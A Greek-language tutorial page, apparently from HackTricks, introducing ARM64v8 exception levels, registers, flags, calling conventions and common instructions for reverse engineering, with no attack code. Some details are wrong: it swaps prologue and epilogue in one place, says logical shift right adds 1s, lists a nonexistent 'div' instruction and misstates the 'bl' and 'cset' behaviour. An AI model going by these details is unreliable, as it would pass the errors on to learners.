Εισαγωγή στο ARM64v8
Reading time: 37 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Επίπεδα Εξαίρεσης - EL (ARM64v8)
Στην αρχιτεκτονική ARMv8, τα επίπεδα εκτέλεσης, γνωστά ως Exception Levels (ELs), ορίζουν το επίπεδο προνομίων και τις δυνατότητες του περιβάλλοντος εκτέλεσης. Υπάρχουν τέσσερα επίπεδα εξαίρεσης, από EL0 έως EL3, το καθένα εξυπηρετεί διαφορετικό σκοπό:
- EL0 - User Mode:
- Αυτό είναι το επίπεδο με τα λιγότερα προνόμια και χρησιμοποιείται για την εκτέλεση κανονικού κώδικα εφαρμογών.
- Οι εφαρμογές που τρέχουν σε EL0 είναι απομονωμένες μεταξύ τους και από το σύστημα, ενισχύοντας την ασφάλεια και τη σταθερότητα.
- EL1 - Operating System Kernel Mode:
- Τα περισσότερα λειτουργικά συστήματα τρέχουν σε αυτό το επίπεδο.
- Το EL1 έχει περισσότερα προνόμια από το EL0 και μπορεί να έχει πρόσβαση σε πόρους συστήματος, αλλά με κάποιους περιορισμούς για τη διασφάλιση της ακεραιότητας του συστήματος. Πηγαίνετε από EL0 σε EL1 με την εντολή
SVC
.
- EL2 - Hypervisor Mode:
- Αυτό το επίπεδο χρησιμοποιείται για virtualization. Ένας hypervisor που τρέχει σε EL2 μπορεί να διαχειρίζεται πολλαπλά λειτουργικά συστήματα (το καθένα στο δικό του EL1) στο ίδιο φυσικό υλικό.
- Το EL2 παρέχει δυνατότητες για απομόνωση και έλεγχο των virtualized περιβαλλόντων.
- Επομένως εφαρμογές εικονικών μηχανών όπως το Parallels μπορούν να χρησιμοποιήσουν το
hypervisor.framework
για αλληλεπίδραση με το EL2 και να τρέξουν virtual machines χωρίς kernel extensions. - Για να μεταβεί από EL1 σε EL2 χρησιμοποιείται η εντολή
HVC
.
- EL3 - Secure Monitor Mode:
- Αυτό είναι το επίπεδο με τα περισσότερα προνόμια και χρησιμοποιείται συχνά για secure booting και trusted execution environments.
- Το EL3 μπορεί να διαχειρίζεται και να ελέγχει τις προσβάσεις μεταξύ secure και non-secure καταστάσεων (όπως secure boot, trusted OS, κ.λπ.).
- Χρησιμοποιόταν για KPP (Kernel Patch Protection) στο macOS, αλλά δεν χρησιμοποιείται πλέον.
- Το EL3 δεν χρησιμοποιείται πια από την Apple.
- Η μετάβαση στο EL3 γίνεται συνήθως με την εντολή
SMC
(Secure Monitor Call).
Η χρήση αυτών των επιπέδων επιτρέπει έναν δομημένο και ασφαλή τρόπο διαχείρισης διαφόρων πτυχών του συστήματος, από τις εφαρμογές χρήστη μέχρι το πιο προνομιούχο λογισμικό συστήματος. Η προσέγγιση της ARMv8 στα επίπεδα προνομίων βοηθά στην αποτελεσματική απομόνωση διαφορετικών συνιστωσών του συστήματος, ενισχύοντας έτσι την ασφάλεια και την ανθεκτικότητα του συστήματος.
Καταχωρητές (ARM64v8)
ARM64 έχει 31 γενικής χρήσης καταχωρητές, επισημασμένους x0
έως x30
. Κάθε ένας μπορεί να αποθηκεύσει μια 64-bit (8-byte) τιμή. Για λειτουργίες που απαιτούν μόνο 32-bit τιμές, οι ίδιοι καταχωρητές μπορούν να προσεγγιστούν σε 32-bit μορφή χρησιμοποιώντας τα ονόματα w0
έως w30
.
x0
έωςx7
- Συνήθως χρησιμοποιούνται ως scratch registers και για τη μετάβαση παραμέτρων σε υπορουτίνες.
- Το
x0
μεταφέρει επίσης τα δεδομένα επιστροφής μιας συνάρτησης.
x8
- Στον Linux kernel, τοx8
χρησιμοποιείται ως ο αριθμός system call για την εντολήsvc
. Στο macOS το x16 είναι αυτό που χρησιμοποιείται!x9
έωςx15
- Περαιτέρω προσωρινοί καταχωρητές, συχνά για τοπικές μεταβλητές.x16
καιx17
- Intra-procedural Call Registers. Προσωρινοί καταχωρητές για άμεσα (immediate) τιμές. Χρησιμοποιούνται επίσης για indirect function calls και PLT stubs.
- Το
x16
χρησιμοποιείται ως ο αριθμός system call για την εντολήsvc
στο macOS.
x18
- Platform register. Μπορεί να χρησιμοποιηθεί ως γενικός καταχωρητής, αλλά σε κάποιες πλατφόρμες αυτός ο καταχωρητής είναι δεσμευμένος για ειδικές χρήσεις πλατφόρμας: δείκτης στο current thread environment block στα Windows, ή για να δείχνει στη τρέχουσα executing task structure in linux kernel.x19
έωςx28
- Αυτοί είναι callee-saved registers. Μια συνάρτηση πρέπει να διατηρεί τις τιμές αυτών των καταχωρητών για τον caller, επομένως αποθηκεύονται στο stack και ανακτώνται πριν την επιστροφή στον caller.x29
- Frame pointer για να παρακολουθεί το stack frame. Όταν δημιουργείται ένα νέο stack frame επειδή καλείται μια συνάρτηση, ο καταχωρητήςx29
αποθηκεύεται στο stack και η νέα διεύθυνση frame pointer (η διεύθυνση τουsp
) αποθηκεύεται σε αυτόν τον καταχωρητή.
- Αυτός ο καταχωρητής μπορεί επίσης να χρησιμοποιηθεί ως γενικός καταχωρητής, αν και συνήθως χρησιμοποιείται ως αναφορά για τοπικές μεταβλητές.
x30
ήlr
- Link register. Κρατά τη διεύθυνση επιστροφής όταν εκτελείται μια εντολήBL
(Branch with Link) ήBLR
(Branch with Link to Register) αποθηκεύοντας την τιμή τουpc
σε αυτόν τον καταχωρητή.
- Μπορεί επίσης να χρησιμοποιηθεί όπως οποιοσδήποτε άλλος καταχωρητής.
- Εάν η τρέχουσα συνάρτηση πρόκειται να καλέσει μια νέα συνάρτηση και κατά συνέπεια να υπεργραφεί το
lr
, θα το αποθηκεύσει στο stack στην αρχή — αυτό είναι το epilogue (stp x29, x30 , [sp, #-48]; mov x29, sp
-> Storefp
andlr
, generate space and get newfp
) και το ανακτά στο τέλος — αυτό είναι το prologue (ldp x29, x30, [sp], #48; ret
-> Recoverfp
andlr
and return).
sp
- Stack pointer, χρησιμοποιείται για να κρατά την κορυφή του stack.
- Η τιμή του
sp
πρέπει πάντα να διατηρείται με τουλάχιστον quadword alignment, αλλιώς μπορεί να συμβεί alignment exception.
pc
- Program counter, που δείχνει στην επόμενη εντολή. Αυτός ο καταχωρητής μπορεί να ενημερωθεί μόνο μέσω παραγωγής εξαιρέσεων, επιστροφών εξαιρέσεων και branches. Οι μόνη συνηθισμένες εντολές που μπορούν να διαβάσουν αυτόν τον καταχωρητή είναι οι branch with link instructions (BL, BLR) για να αποθηκεύσουν τη διεύθυνση τουpc
στοlr
(Link Register).xzr
- Zero register. Επίσης ονομάζεταιwzr
στη 32-bit μορφή. Μπορεί να χρησιμοποιηθεί για εύκολη λήψη της τιμής μηδέν (συνηθισμένη operation) ή για εκτέλεση συγκρίσεων χρησιμοποιώνταςsubs
όπωςsubs XZR, Xn, #10
αποθηκεύοντας το αποτέλεσμα πουθενά (στοxzr
).
Οι Wn
καταχωρητές είναι η 32bit έκδοση των Xn
καταχωρητών.
tip
Οι καταχωρητές από X0 - X18 είναι volatile, που σημαίνει ότι οι τιμές τους μπορούν να αλλάξουν από κλήσεις συναρτήσεων και διακοπές. Ωστόσο, οι καταχωρητές από X19 - X28 είναι non-volatile, που σημαίνει ότι οι τιμές τους πρέπει να διατηρούνται κατά τη διάρκεια κλήσεων συναρτήσεων ("callee saved").
SIMD και καταχωρητές κινητής υποδιαστολής
Επιπλέον, υπάρχουν άλλοι 32 καταχωρητές μήκους 128bit που μπορούν να χρησιμοποιηθούν σε βελτιστοποιημένες single instruction multiple data (SIMD) operations και για εκτέλεση floating-point αριθμητικών. Αυτοί ονομάζονται Vn registers αν και μπορούν επίσης να λειτουργήσουν σε 64-bit, 32-bit, 16-bit και 8-bit και τότε ονομάζονται Qn
, Dn
, Sn
, Hn
και Bn
.
System Registers
Υπάρχουν εκατοντάδες system registers, επίσης ονομαζόμενοι special-purpose registers (SPRs), που χρησιμοποιούνται για παρακολούθηση και έλεγχο της συμπεριφοράς των επεξεργαστών.
Μπορούν να διαβαστούν ή να οριστούν μόνο χρησιμοποιώντας τις ειδικές εντολές mrs
και msr
.
Οι ειδικοί καταχωρητές TPIDR_EL0
και TPIDDR_EL0
εμφανίζονται συχνά κατά την reverse engineering. Το επίθημα EL0
υποδεικνύει το ελάχιστο επίπεδο εξαίρεσης από το οποίο μπορεί να προσεγγιστεί ο καταχωρητής (σε αυτή την περίπτωση το EL0 είναι το κανονικό επίπεδο προνομίων όπου τρέχουν τα κανονικά προγράμματα).
Συχνά χρησιμοποιούνται για να αποθηκεύσουν τη βασική διεύθυνση του thread-local storage περιοχής μνήμης. Συνήθως ο πρώτος είναι αναγνώσιμος και εγγράψιμος από προγράμματα που τρέχουν σε EL0, αλλά ο δεύτερος μπορεί να διαβαστεί από EL0 και να γραφτεί από EL1 (όπως ο kernel).
mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0
msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0
PSTATE
Το PSTATE περιέχει διάφορες συνιστώσες της διαδικασίας σειροποιημένες στον ειδικό καταχωρητή SPSR_ELx
που είναι ορατός στο λειτουργικό σύστημα, όπου X είναι το permission level του προκληθέντος exception (αυτό επιτρέπει την αποκατάσταση της κατάστασης της διαδικασίας όταν τελειώσει η εξαίρεση).
Αυτά είναι τα πεδία που είναι προσβάσιμα:
.png)
- Οι σημαίες συνθηκών
N
,Z
,C
καιV
: N
σημαίνει ότι η λειτουργία επέστρεψε αρνητικό αποτέλεσμαZ
σημαίνει ότι η λειτουργία επέστρεψε μηδένC
σημαίνει ότι συνέβη carryV
σημαίνει ότι η λειτουργία επέστρεψε signed overflow:- Το άθροισμα δύο θετικών αριθμών αποδίδει αρνητικό αποτέλεσμα.
- Το άθροισμα δύο αρνητικών αριθμών αποδίδει θετικό αποτέλεσμα.
- Σε αφαίρεση, όταν ένας μεγάλος αρνητικός αριθμός αφαιρείται από έναν μικρότερο θετικό αριθμό (ή το αντίστροφο), και το αποτέλεσμα δεν μπορεί να αναπαρασταθεί εντός του εύρους του δεδομένου μεγέθους bit.
- Προφανώς ο επεξεργαστής δεν γνωρίζει αν η λειτουργία είναι signed ή όχι, οπότε θα ελέγξει τα C και V στις λειτουργίες και θα υποδείξει αν συνέβη carry στην περίπτωση που ήταν signed ή unsigned.
warning
Όχι όλες οι εντολές ενημερώνουν αυτές τις σημαίες. Κάποιες όπως CMP
ή TST
το κάνουν, και άλλες που έχουν το επίθημα s όπως ADDS
επίσης το κάνουν.
- Η τρέχουσα σημαία πλάτους καταχωρητή (
nRW
): Αν η σημαία έχει την τιμή 0, το πρόγραμμα θα τρέξει σε κατάσταση εκτέλεσης AArch64 μόλις συνεχίσει. - Το τρέχον Exception Level (
EL
): Ένα κανονικό πρόγραμμα που τρέχει σε EL0 θα έχει τιμή 0. - Η σημαία single stepping (
SS
): Χρησιμοποιείται από debuggers για single stepping ρυθμίζοντας τη σημαία SS σε 1 μέσα στοSPSR_ELx
μέσω μιας εξαίρεσης. Το πρόγραμμα θα εκτελέσει ένα βήμα και θα προκαλέσει μια single step εξαίρεση. - Η σημαία illegal exception state (
IL
): Χρησιμοποιείται για να σηματοδοτήσει όταν ένα προνομιούχο λογισμικό πραγματοποιεί μια μη έγκυρη μεταφορά επιπέδου εξαίρεσης, αυτή η σημαία τίθεται σε 1 και ο επεξεργαστής ενεργοποιεί μια illegal state exception. - Οι σημαίες
DAIF
: Αυτές οι σημαίες επιτρέπουν σε ένα προνομιούχο πρόγραμμα να αποκρύψει επιλεκτικά ορισμένες εξωτερικές εξαιρέσεις. - Εάν
A
είναι 1 σημαίνει ότι θα ενεργοποιηθούν asynchronous aborts. ΤοI
ρυθμίζει την απόκριση σε εξωτερικά hardware Interrupt Requests (IRQs). και το F σχετίζεται με Fast Interrupt Requests (FIRs). - Οι σημαίες επιλογής stack pointer (
SPS
): Προνομιούχα προγράμματα που τρέχουν σε EL1 και άνω μπορούν να εναλλάξουν μεταξύ της χρήσης του δικού τους stack pointer register και του user-model ενός (π.χ. μεταξύSP_EL1
καιEL0
). Αυτή η εναλλαγή πραγματοποιείται γράφοντας στον ειδικό καταχωρητήSPSel
. Αυτό δεν μπορεί να γίνει από EL0.
Calling Convention (ARM64v8)
Η calling convention του ARM64 ορίζει ότι οι πρώτες οκτώ παράμετροι σε μια συνάρτηση περνιούνται σε καταχωρητές x0
έως x7
. Επιπλέον παράμετροι περνιούνται στο stack. Η τιμή επιστροφής επιστρέφεται στον καταχωρητή x0
, ή και στον x1
αν είναι 128 bits. Οι καταχωρητές x19
έως x30
και sp
πρέπει να διατηρούνται κατά τις κλήσεις συναρτήσεων.
Όταν διαβάζετε μια συνάρτηση σε assembly, ψάξτε για το function prologue και epilogue. Το prologue συνήθως περιλαμβάνει αποθήκευση του frame pointer (x29
), ρύθμιση ενός νέου frame pointer, και επιμερισμό χώρου στο stack. Το epilogue συνήθως περιλαμβάνει αποκατάσταση του αποθηκευμένου frame pointer και επιστροφή από τη συνάρτηση.
Calling Convention στο Swift
Το Swift έχει τη δική του calling convention που μπορεί να βρεθεί στο https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64
Συνήθεις Εντολές (ARM64v8)
Οι εντολές ARM64 γενικά έχουν τη μορφή opcode dst, src1, src2
, όπου το opcode
είναι η λειτουργία που θα εκτελεστεί (όπως add
, sub
, mov
, κ.λπ.), το dst
είναι ο καταχωρητής προορισμού όπου θα αποθηκευτεί το αποτέλεσμα, και τα src1
και src2
είναι οι πηγές. Μπορούν επίσης να χρησιμοποιηθούν άμεσες τιμές (immediates) αντί για source registers.
-
mov
: Μεταφέρει μια τιμή από έναν καταχωρητή σε έναν άλλο. -
Παράδειγμα:
mov x0, x1
— Αυτό μεταφέρει την τιμή από τοx1
στοx0
. -
ldr
: Φορτώνει μια τιμή από τη μνήμη σε έναν καταχωρητή. -
Παράδειγμα:
ldr x0, [x1]
— Φορτώνει μια τιμή από τη μνήμη που δείχνει τοx1
στοx0
. -
Offset mode: Ένα offset που επηρεάζει τον origin pointer υποδεικνύεται, για παράδειγμα:
-
ldr x2, [x1, #8]
, αυτό θα φορτώσει στο x2 την τιμή από x1 + 8 -
ldr x2, [x0, x1, lsl #2]
, αυτό θα φορτώσει στο x2 ένα αντικείμενο από το array x0, στη θέση x1 (index) * 4 -
Pre-indexed mode: Αυτό θα εφαρμόσει υπολογισμούς στον origin, πάρει το αποτέλεσμα και επίσης θα αποθηκεύσει τον νέο origin.
-
ldr x2, [x1, #8]!
, αυτό θα φορτώσειx1 + 8
στοx2
και θα αποθηκεύσει στο x1 το αποτέλεσμαx1 + 8
-
str lr, [sp, #-4]!
, Αποθηκεύει τον link register στο sp και ενημερώνει το register sp -
Post-index mode: Αυτό είναι σαν το προηγούμενο αλλά η διεύθυνση μνήμης προσπελάζεται και μετά υπολογίζεται και αποθηκεύεται το offset.
-
ldr x0, [x1], #8
, φορτώνειx1
στοx0
και ενημερώνει το x1 μεx1 + 8
-
PC-relative addressing: Σε αυτή την περίπτωση η διεύθυνση που θα φορτωθεί υπολογίζεται σε σχέση με τον καταχωρητή PC
-
ldr x1, =_start
, Αυτό θα φορτώσει τη διεύθυνση όπου ξεκινά το σύμβολο_start
στο x1 σχετική με το τρέχον PC. -
str
: Αποθηκεύει μια τιμή από έναν καταχωρητή στη μνήμη. -
Παράδειγμα:
str x0, [x1]
— Αποθηκεύει την τιμή στοx0
στη διεύθυνση μνήμης που δείχνει τοx1
. -
ldp
: Load Pair of Registers. Αυτή η εντολή φορτώνει δύο καταχωρητές από συνεχόμενες διευθύνσεις μνήμης. Η διεύθυνση μνήμης συνήθως σχηματίζεται προσθέτοντας ένα offset στην τιμή ενός άλλου καταχωρητή. -
Παράδειγμα:
ldp x0, x1, [x2]
— Φορτώνειx0
καιx1
από τις διευθύνσεις μνήμης σεx2
καιx2 + 8
, αντίστοιχα. -
stp
: Store Pair of Registers. Αυτή η εντολή αποθηκεύει δύο καταχωρητές σε συνεχόμενες διευθύνσεις μνήμης. Η διεύθυνση μνήμης σχηματίζεται συνήθως με προσθήκη offset στην τιμή άλλου καταχωρητή. -
Παράδειγμα:
stp x0, x1, [sp]
— Αποθηκεύειx0
καιx1
στις διευθύνσεις μνήμηςsp
καιsp + 8
, αντίστοιχα. -
stp x0, x1, [sp, #16]!
— Αποθηκεύειx0
καιx1
στις διευθύνσεις μνήμηςsp+16
καιsp + 24
, αντίστοιχα, και ενημερώνει τοsp
μεsp+16
. -
add
: Προσθέτει τις τιμές δύο καταχωρητών και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή. -
Σύνταξη: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]
-
Xn1 -> Προορισμός
-
Xn2 -> Operand 1
-
Xn3 | #imm -> Operand 2 (register ή immediate)
-
[shift #N | RRX] -> Εκτέλεση shift ή RRX
-
Παράδειγμα:
add x0, x1, x2
— Προσθέτει τις τιμές σεx1
καιx2
και αποθηκεύει το αποτέλεσμα στοx0
. -
add x5, x5, #1, lsl #12
— Αυτό ισούται με 4096 (ένα 1 shifted 12 φορές) -> 1 0000 0000 0000 0000 -
adds
: Εκτελείadd
και ενημερώνει τις σημαίες -
sub
: Αφαιρεί τις τιμές δύο καταχωρητών και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή. -
Δείτε τη σύνταξη του
add
. -
Παράδειγμα:
sub x0, x1, x2
— Αφαιρεί την τιμή στοx2
από τοx1
και αποθηκεύει το αποτέλεσμα στοx0
. -
subs
: Όπως τοsub
αλλά ενημερώνει τις σημαίες -
mul
: Πολλαπλασιάζει τις τιμές δύο καταχωρητών και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή. -
Παράδειγμα:
mul x0, x1, x2
— Πολλαπλασιάζει τις τιμές σεx1
καιx2
και τις αποθηκεύει στοx0
. -
div
: Διαιρεί την τιμή ενός καταχωρητή με ενός άλλου και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή. -
Παράδειγμα:
div x0, x1, x2
— Διαιρεί την τιμή σεx1
με τοx2
και αποθηκεύει το αποτέλεσμα στοx0
. -
lsl
,lsr
,asr
,ror
,rrx
: -
Logical shift left: Προσθέτει 0s από το τέλος μετακινώντας τα υπόλοιπα bits προς τα εμπρός (πολλαπλασιασμός επί 2^n)
-
Logical shift right: Προσθέτει 1s στην αρχή μετακινώντας τα υπόλοιπα bits προς τα πίσω (διαίρεση επί 2^n για unsigned)
-
Arithmetic shift right: Όπως το
lsr
, αλλά αντί να προσθέτει 0s, αν το πιο σημαντικό bit είναι 1, προσθέτει 1s (διαίρεση επί 2^n για signed) -
Rotate right: Όπως το
lsr
αλλά ό,τι αφαιρεθεί από τα δεξιά προστίθεται στα αριστερά -
Rotate Right with Extend: Όπως το
ror
, αλλά με την carry flag ως το "most significant bit". Έτσι η carry flag μεταφέρεται στο bit 31 και το αφαιρεμένο bit πάει στην carry flag. -
bfm
: Bit Field Move, αυτές οι λειτουργίες αντιγράφουν bits0...n
από μια τιμή και τα τοποθετούν στις θέσειςm..m+n
. Το#s
καθορίζει τη αριστερότερη θέση bit και το#r
την ποσότητα περιστροφής προς τα δεξιά. -
Bitfield move:
BFM Xd, Xn, #r
-
Signed Bitfield move:
SBFM Xd, Xn, #r, #s
-
Unsigned Bitfield move:
UBFM Xd, Xn, #r, #s
-
Bitfield Extract and Insert: Αντιγράφει ένα bitfield από έναν καταχωρητή και το αντιγράφει σε έναν άλλο καταχωρητή.
-
BFI X1, X2, #3, #4
Εισάγει 4 bits από το X2 από το 3ο bit του X1 -
BFXIL X1, X2, #3, #4
Εξάγει από το 3ο bit του X2 τέσσερα bits και τα αντιγράφει στο X1 -
SBFIZ X1, X2, #3, #4
Εκτείνει το πρόσημο 4 bits από το X2 και τα εισάγει στο X1 ξεκινώντας από τη θέση bit 3, μηδενίζοντας τα δεξιά bits -
SBFX X1, X2, #3, #4
Εξάγει 4 bits ξεκινώντας από το bit 3 από το X2, τα sign-extends, και τοποθετεί το αποτέλεσμα στο X1 -
UBFIZ X1, X2, #3, #4
Zero-extends 4 bits από το X2 και τα εισάγει στο X1 ξεκινώντας από τη θέση bit 3, μηδενίζοντας τα δεξιά bits -
UBFX X1, X2, #3, #4
Εξάγει 4 bits ξεκινώντας από το bit 3 από το X2 και τοποθετεί το zero-extended αποτέλεσμα στο X1. -
Sign Extend To X: Επεκτείνει το πρόσημο (ή απλώς προσθέτει 0s στην unsigned έκδοση) μιας τιμής ώστε να μπορεί να γίνει λειτουργία με αυτήν:
-
SXTB X1, W2
Επεκτείνει το πρόσημο ενός byte από W2 στο X1 (W2
είναι το μισό τουX2
) για να γεμίσει τα 64bit -
SXTH X1, W2
Επεκτείνει το πρόσημο ενός 16bit αριθμού από W2 στο X1 για να γεμίσει τα 64bit -
SXTW X1, W2
Επεκτείνει το πρόσημο ενός (sic) από W2 στο X1 για να γεμίσει τα 64bit -
UXTB X1, W2
Προσθέτει 0s (unsigned) σε ένα byte από W2 στο X1 για να γεμίσει τα 64bit -
extr
: Εξάγει bits από ένα συγκεκριμένο ζεύγος καταχωρητών συνενωμένων. -
Παράδειγμα:
EXTR W3, W2, W1, #3
Αυτό θα συνενώσει W1+W2 και θα πάρει από το bit 3 του W2 μέχρι το bit 3 του W1 και θα το αποθηκεύσει στο W3. -
cmp
: Συγκρίνει δύο καταχωρητές και ρυθμίζει τις condition flags. Είναι ένα alias τουsubs
θέτοντας τον προορισμό στον zero register. Χρήσιμο για να ξέρετε ανm == n
. -
Υποστηρίζει την ίδια σύνταξη με το
subs
-
Παράδειγμα:
cmp x0, x1
— Συγκρίνει τις τιμές σεx0
καιx1
και ρυθμίζει αντίστοιχα τις condition flags. -
cmn
: Compare negative operand. Σε αυτή την περίπτωση είναι alias τουadds
και υποστηρίζει την ίδια σύνταξη. Χρήσιμο για να ξέρετε ανm == -n
. -
ccmp
: Conditional comparison, είναι μια σύγκριση που θα εκτελεστεί μόνο αν μια προηγούμενη σύγκριση ήταν αληθής και θα ρυθμίσει συγκεκριμένα τα nzcv bits. -
cmp x1, x2; ccmp x3, x4, 0, NE; blt _func
-> αν x1 != x2 και x3 < x4, πήγαινε στη func -
Αυτό επειδή το
ccmp
θα εκτελεστεί μόνο αν το προηγούμενοcmp
ήτανNE
, αν δεν ήταν τα bitsnzcv
θα τεθούν σε 0 (που δεν θα ικανοποιεί τοblt
). -
Αυτό μπορεί επίσης να χρησιμοποιηθεί ως
ccmn
(το ίδιο αλλά αρνητικό, όπωςcmp
vscmn
). -
tst
: Ελέγχει αν κάποια από τις τιμές της σύγκρισης έχουν και τα δύο 1 (λειτουργεί σαν ANDS χωρίς να αποθηκεύει το αποτέλεσμα πουθενά). Είναι χρήσιμο για έλεγχο ενός καταχωρητή με μια τιμή και για να δείτε αν κάποια από τα bits του καταχωρητή που υποδεικνύεται στην τιμή είναι 1. -
Παράδειγμα:
tst X1, #7
Έλεγχος αν κάποιο από τα τελευταία 3 bits του X1 είναι 1 -
teq
: XOR operation απορρίπτοντας το αποτέλεσμα -
b
: Ανεπιφυλακτο Branch -
Παράδειγμα:
b myFunction
-
Σημειώστε ότι αυτό δεν θα γεμίσει το link register με τη διεύθυνση επιστροφής (δεν είναι κατάλληλο για subroutine calls που χρειάζονται επιστροφή)
-
bl
: Branch with link, χρησιμοποιείται για κάλεσμα υπορουτίνας. Αποθηκεύει τη διεύθυνση επιστροφής στοx30
. -
Παράδειγμα:
bl myFunction
— Καλεί τη συνάρτησηmyFunction
και αποθηκεύει τη διεύθυνση επιστροφής στοx30
. -
Σημειώστε ότι αυτό δεν θα γεμίσει το link register με τη διεύθυνση επιστροφής (όχι κατάλληλο για subrutine calls που χρειάζονται επιστροφή)
-
blr
: Branch with Link to Register, χρησιμοποιείται για κάλεσμα υπορουτίνας όπου ο προορισμός καθορίζεται σε έναν καταχωρητή. Αποθηκεύει τη διεύθυνση επιστροφής στοx30
. (Αυτό είναι -
Παράδειγμα:
blr x1
— Καλεί τη συνάρτηση της οποίας η διεύθυνση περιέχεται στοx1
και αποθηκεύει τη διεύθυνση επιστροφής στοx30
. -
ret
: Επιστροφή από υπορουτίνα, συνήθως χρησιμοποιώντας τη διεύθυνση στοx30
. -
Παράδειγμα:
ret
— Επιστρέφει από την τρέχουσα υπορουτίνα χρησιμοποιώντας τη διεύθυνση επιστροφής στοx30
. -
b.<cond>
: Συνθήκες branches -
b.eq
: Branch αν ίσο, με βάση την προηγούμενη εντολήcmp
. -
Παράδειγμα:
b.eq label
— Αν η προηγούμενηcmp
βρήκε δύο ίσες τιμές, τότε πηγαίνει στοlabel
. -
b.ne
: Branch αν όχι ίσο. Αυτή η εντολή ελέγχει τις condition flags (που ρυθμίστηκαν από προηγούμενη εντολή σύγκρισης), και αν οι συγκριμένες τιμές δεν ήταν ίσες, κάνει branch σε μια ετικέτα ή διεύθυνση. -
Παράδειγμα: Μετά από
cmp x0, x1
,b.ne label
— Αν οι τιμές στοx0
καιx1
δεν ήταν ίσες, πηγαίνει στοlabel
. -
cbz
: Compare and Branch on Zero. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν, και αν είναι ίσοι, κάνει branch σε μια ετικέτα ή διεύθυνση. -
Παράδειγμα:
cbz x0, label
— Αν η τιμή στοx0
είναι μηδέν, πηγαίνει στοlabel
. -
cbnz
: Compare and Branch on Non-Zero. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν, και αν δεν είναι ίσοι, κάνει branch σε μια ετικέτα ή διεύθυνση. -
Παράδειγμα:
cbnz x0, label
— Αν η τιμή στοx0
είναι μη μηδέν, πηγαίνει στοlabel
. -
tbnz
: Test bit and branch on nonzero -
Παράδειγμα:
tbnz x0, #8, label
-
tbz
: Test bit and branch on zero -
Παράδειγμα:
tbz x0, #8, label
-
Conditional select operations: Αυτές είναι λειτουργίες των οποίων η συμπεριφορά αλλάζει ανάλογα με τα condition bits.
-
csel Xd, Xn, Xm, cond
->csel X0, X1, X2, EQ
-> Αν true, X0 = X1, αν false, X0 = X2 -
csinc Xd, Xn, Xm, cond
-> Αν true, Xd = Xn, αν false, Xd = Xm + 1 -
cinc Xd, Xn, cond
-> Αν true, Xd = Xn + 1, αν false, Xd = Xn -
csinv Xd, Xn, Xm, cond
-> Αν true, Xd = Xn, αν false, Xd = NOT(Xm) -
cinv Xd, Xn, cond
-> Αν true, Xd = NOT(Xn), αν false, Xd = Xn -
csneg Xd, Xn, Xm, cond
-> Αν true, Xd = Xn, αν false, Xd = - Xm -
cneg Xd, Xn, cond
-> Αν true, Xd = - Xn, αν false, Xd = Xn -
cset Xd, Xn, Xm, cond
-> Αν true, Xd = 1, αν false, Xd = 0 -
csetm Xd, Xn, Xm, cond
-> Αν true, Xd = <all 1>, αν false, Xd = 0 -
adrp
: Υπολογίζει τη διεύθυνση της σελίδας ενός συμβόλου και τη αποθηκεύει σε έναν καταχωρητή. -
Παράδειγμα:
adrp x0, symbol
— Αυτό υπολογίζει τη διεύθυνση σελίδας τουsymbol
και την αποθηκεύει στοx0
. -
ldrsw
: Φορτώνει μια signed 32-bit τιμή από τη μνήμη και την sign-extends σε 64 bits. Χρησιμοποιείται σε κοινές περιπτώσεις SWITCH. -
Παράδειγμα:
ldrsw x0, [x1]
— Φορτώνει μια signed 32-bit τιμή από τη μνήμη που δείχνει τοx1
, την sign-extends σε 64 bits, και την αποθηκεύει στοx0
. -
stur
: Αποθηκεύει μια τιμή καταχωρητή σε μια διεύθυνση μνήμης, χρησιμοποιώντας ένα offset από άλλο καταχωρητή. -
Παράδειγμα:
stur x0, [x1, #4]
— Αποθηκεύει την τιμή στοx0
στη διεύθυνση μνήμης που είναι 4 bytes μεγαλύτερη από τη διεύθυνση που έχει τοx1
. -
svc
: Κάνει ένα system call. Σημαίνει "Supervisor Call". Όταν ο επεξεργαστής εκτελεί αυτή την εντολή, αλλάζει από user mode σε kernel mode και πηγαίνει σε μια συγκεκριμένη θέση στη μνήμη όπου βρίσκεται ο κώδικας χειρισμού system call του kernel. -
Παράδειγμα:
mov x8, 93 ; Load the system call number for exit (93) into register x8.
mov x0, 0 ; Load the exit status code (0) into register x0.
svc 0 ; Make the system call.
Function Prologue
- Αποθήκευση του link register και του frame pointer στο stack:
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
- Ρύθμιση του νέου δείκτη πλαισίου:
mov x29, sp
(ορίζει τον νέο δείκτη πλαισίου για την τρέχουσα συνάρτηση) - Διάθεση χώρου στο stack για τοπικές μεταβλητές (αν χρειάζεται):
sub sp, sp, <size>
(όπου<size>
είναι ο αριθμός των bytes που απαιτούνται)
Επίλογος συνάρτησης
- Αποδέσμευση τοπικών μεταβλητών (αν έχουν δεσμευθεί):
add sp, sp, <size>
- Επαναφορά του link register και του δείκτη πλαισίου:
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
- Επιστροφή:
ret
(επιστρέφει τον έλεγχο στον καλούντα χρησιμοποιώντας τη διεύθυνση στον καταχωρητή σύνδεσης)
Κοινές Προστασίες Μνήμης ARM
Κατάσταση Εκτέλεσης AARCH32
Armv8-A υποστηρίζει την εκτέλεση προγραμμάτων 32-bit. AArch32 μπορεί να τρέξει σε ένα από δύο σύνολα εντολών: A32
και T32
